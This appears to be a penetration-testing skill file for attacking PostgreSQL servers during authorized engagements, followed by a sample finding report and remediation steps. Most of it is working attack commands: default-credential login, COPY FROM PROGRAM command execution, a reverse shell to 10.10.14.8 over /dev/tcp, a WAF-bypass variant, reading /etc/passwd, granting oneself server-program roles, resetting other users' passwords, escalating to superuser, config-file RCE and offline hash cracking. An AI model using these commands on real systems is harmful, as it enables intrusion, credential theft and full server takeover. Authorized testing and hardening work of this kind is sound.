Testing PostgreSQL database services (default port 5432, fallback 5433) for trust-auth and default/weak credentials, role/privilege enumeration, the COPY ... FROM PROGRAM command-execution primitive, large-object and server-file read/write, CREATEROLE privilege escalation, and extension/config-file RCE during authorized engagements.
Instrucciones de origen · Vista previa de solo lectura
name
pentesting-postgresql
description
Testing PostgreSQL database services (default port 5432, fallback 5433) for trust-auth and default/weak credentials, role/privilege enumeration, the COPY ... FROM PROGRAM command-execution primitive, large-object and server-file read/write, CREATEROLE privilege escalation, and extension/config-file RCE during authorized engagements.
trust auth / default postgres:postgres — local and sometimes remote connections require no password due to pg_hba.conftrust lines; default creds postgres:postgres are common.
How to CONFIRM: PGPASSWORD=postgres psql -h<IP> -U postgres -c 'select version();' succeeds, or psql connects with no password prompt.
COPY ... FROM PROGRAM OS command execution — superusers and members of pg_execute_server_program can run arbitrary OS commands (PostgreSQL 9.3+). Reported as CVE-2019-9193 but Postgres treats it as a feature.
How to CONFIRM: returns .
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(o text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;
uid=...
Server file read/write via COPY and pg_read_*/lo_* — pg_read_server_files/pg_write_server_files members read and write any path; large objects (lo_import/lo_export) handle binary files.
How to CONFIRM: CREATE TABLE demo(t text); COPY demo FROM '/etc/passwd'; SELECT * FROM demo; returns the file, or SELECT pg_read_file('/etc/passwd',0,1000);.
CREATEROLE privilege escalation — a role with CREATEROLE can grant itself membership of pg_execute_server_program/pg_read_server_files/pg_write_server_files and change non-superuser passwords, then reach RCE.
How to CONFIRM: GRANT pg_execute_server_program TO "<me>"; succeeds.
Config-file / extension RCE (as superuser) — overwrite postgresql.conf to abuse ssl_passphrase_command, archive_command, or session_preload_libraries+dynamic_library_path, then pg_reload_conf(); or compile a malicious extension .so and CREATE FUNCTION ... LANGUAGE C.
dblink blind brute / port scan — connection errors from dblink_connect leak host/port state and auth results.
-- Dump data
\c <database>
\dt
SELECT*FROM<table>;
-- OS command execution (superuser or pg_execute_server_program)DROPTABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT*FROM cmd_exec;
-- Reverse shell (single quotes doubled to escape)COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"';
-- WAF-bypass variant inside a DO block (build "COPY" dynamically)
DO $$ DECLARE cmd text; BEGIN
cmd := CHR(67) ||'OPY cmd_exec FROM PROGRAM ''id''';
EXECUTE cmd; END $$;
-- CREATEROLE -> grant yourself the powerful built-in rolesGRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
ALTERUSER other_user WITH PASSWORD 'new'; -- reset non-superuser passwords-- Escalate to SUPERUSER once you have command exec (trust auth on local socket)COPY (SELECT'') TO PROGRAM 'psql -U postgres -c "ALTER USER me WITH SUPERUSER;"';
Config RCE (superuser write): set archive_mode='always' + archive_command='<rev shell>', SELECT pg_reload_conf(); SELECT pg_switch_wal(); — or ssl_passphrase_command, or session_preload_libraries+dynamic_library_path='/tmp:$libdir' loading a compiled .so.
Crack dumped pg_shadow hashes offline (md5 / SCRAM-SHA-256) and reuse against SSH/other services.
Key Concepts
Concept
Description
pg_hba.conf trust
Auth method allowing password-less login for matching host/user (often local + 127.0.0.1).
COPY ... FROM PROGRAM
Runs an OS command and captures output — primary RCE primitive (9.3+).
pg_execute_server_program
Built-in role permitting COPY PROGRAM for non-superusers.
pg_read/write_server_files
Built-in roles for reading/writing arbitrary server files.
Large objects (lo_*)
lo_import/lo_export/lo_from_bytea move binary files in/out of the server.
CREATEROLE
Lets a role grant non-superuser roles to itself and reset passwords → escalation.
Edit filenodes on disk to flip pg_authid role flags (superadmin).
Hashcat / John
Crack dumped pg_shadow md5/SCRAM hashes offline.
Common Scenarios
Scenario 1: Trust auth → command execution
The host allows password-less postgres over TCP. psql -h<IP> -U postgres connects as superuser; COPY cmd_exec FROM PROGRAM 'id' returns command output, proving OS-level RCE.
Scenario 2: CREATEROLE escalation → RCE
A limited app role has CREATEROLE. The tester runs GRANT pg_execute_server_program TO app;, then COPY ... FROM PROGRAM for command execution, then escalates to SUPERUSER via the local trust socket.
Scenario 3: Superuser config RCE
With superuser file-write, the tester overwrites postgresql.conf setting archive_command to a reverse shell, calls pg_reload_conf() and pg_switch_wal(), and receives a shell as the postgres user.
Output Format
## PostgreSQL Finding
**Service**: PostgreSQL
**Port**: 5432/tcp (PostgreSQL 13)
**Severity**: Critical
**Finding**: Superuser access enabling COPY ... FROM PROGRAM command execution
**Evidence**:
- PGPASSWORD=postgres psql -h<IP> -U postgres -> connected; is_superuser='on'
- COPY cmd_exec FROM PROGRAM 'id' -> uid=114(postgres) gid=120(postgres)
**Impact**: Full OS command execution as the postgres service account and access to all databases.
**Recommendation**:
1. Replace `trust` with `scram-sha-256` in pg_hba.conf; set strong unique role passwords.
2. Bind to localhost or restrict 5432 by firewall; remove default postgres:postgres.
3. Revoke pg_execute_server_program / pg_read_server_files / pg_write_server_files from non-admin roles.
4. Avoid granting CREATEROLE broadly; monitor postgresql.conf integrity.
